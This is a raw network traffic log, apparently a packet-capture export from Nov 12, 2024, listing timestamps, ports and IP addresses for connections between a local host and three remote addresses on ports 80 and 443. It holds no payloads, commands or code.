Nov 12, 2024 13:35:40.300287008 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300317049 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.300463915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300476074 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300487041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300498962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300509930 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300513983 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.300513983 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.300523996 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.300820112 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.304645061 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.304663897 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.304824114 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.304836988 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.305124998 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.305399895 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.305414915 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.305485010 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.305485010 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.305493116 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.305593014 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.306337118 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.306370974 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.306396008 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.306400061 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.306421041 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.306896925 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.306911945 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.306984901 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.306984901 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.306991100 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.317560911 CET	62213	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.317589045 CET	443	62213	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.318336964 CET	62213	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.318593979 CET	62213	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.318608999 CET	443	62213	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.345412970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.345510006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.345523119 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.345534086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.345546007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.345556974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.345558882 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.345558882 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.345585108 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.345700979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.352932930 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.384670973 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.384691000 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.384790897 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.384790897 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.384799957 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.385059118 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.392569065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.392607927 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.392621994 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.392687082 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.400865078 CET	443	62210	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.400923014 CET	443	62210	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.401320934 CET	62210	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.401937962 CET	62210	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.401947975 CET	443	62210	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.401976109 CET	62210	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.401981115 CET	443	62210	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.404669046 CET	62214	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.404697895 CET	443	62214	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.404814959 CET	62214	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.404983044 CET	62214	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.404994965 CET	443	62214	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.408266068 CET	443	62208	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.408288956 CET	443	62208	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.408343077 CET	443	62208	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.408364058 CET	62208	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.408389091 CET	62208	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.408581972 CET	62208	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.408581972 CET	62208	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.408586979 CET	443	62208	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.408593893 CET	443	62208	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.411562920 CET	62215	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.411575079 CET	443	62215	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.411849022 CET	62215	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.411849022 CET	62215	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.411870956 CET	443	62215	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.412822008 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.412866116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.412894964 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.412954092 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.412971020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.412981987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.412987947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.412993908 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413033962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413080931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413090944 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413115025 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413115978 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413147926 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413158894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413170099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413182020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413194895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413223028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413239956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413239956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413258076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413305998 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413305998 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413331032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413341045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413357019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413367987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413389921 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413429976 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413481951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413495064 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413508892 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413517952 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413521051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413532019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413542032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413552999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413556099 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413563967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413577080 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413577080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413587093 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413650036 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413650036 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413726091 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413737059 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413748026 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413758039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413769007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413779974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413791895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413805962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413806915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413827896 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413834095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413888931 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.413940907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413953066 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413964987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413975954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.413988113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414005995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414016008 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414016962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414016008 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414016008 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414028883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414064884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414097071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414112091 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414139986 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414175987 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414175987 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414201975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414211988 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414222002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414246082 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414252996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414263964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414274931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414283991 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414285898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414298058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414308071 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414309978 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414321899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414323092 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414333105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414345026 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414361954 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414400101 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414400101 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414568901 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414578915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414589882 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414598942 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414609909 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414618015 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414623976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414635897 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414649010 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414649010 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414689064 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414700031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414710999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414711952 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414721966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414732933 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414743900 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414756060 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414757013 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414757013 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414800882 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.414951086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414961100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414972067 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414983034 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.414993048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415003061 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415018082 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415020943 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.415024042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415025949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415030956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415036917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415049076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415060043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415070057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415071011 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.415071011 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.415108919 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.415153027 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.415349007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415422916 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.415486097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415496111 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415505886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415515900 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415529013 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415572882 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415579081 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.415584087 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415594101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415604115 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.415606022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415615082 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.415647984 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.415676117 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.415700912 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416011095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416026115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416030884 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416063070 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416075945 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416086912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416091919 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416091919 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416100025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416150093 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416150093 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416184902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416196108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416205883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416218996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416274071 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416274071 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416354895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416373014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416378021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416383028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416394949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416407108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416418076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416428089 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416428089 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416435003 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416440964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416450977 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416500092 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416501045 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416501045 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416652918 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416663885 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416673899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416685104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416702986 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416711092 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416717052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416728973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416738987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416760921 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416760921 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416785002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416800022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416811943 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416836977 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416836977 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416836977 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416836977 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416856050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416867018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416877031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416887999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416898966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.416897058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416897058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.416927099 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.417074919 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417085886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417095900 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.417097092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417109013 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417125940 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417138100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417139053 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.417155981 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.417155981 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.417217016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417227983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417241096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417246103 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417248964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417258978 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.417258978 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.417313099 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.417313099 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.417335987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417346954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417356968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417367935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417378902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417390108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417397976 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.417397976 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.417397976 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.417401075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417416096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417418003 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417429924 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417438030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.417460918 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.417633057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.417659044 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.418394089 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.423782110 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.423799992 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.423891068 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.423891068 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.423899889 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.424280882 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.424303055 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.424369097 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.424369097 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.424376011 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.425539970 CET	443	51629	23.221.22.200	192.168.2.6
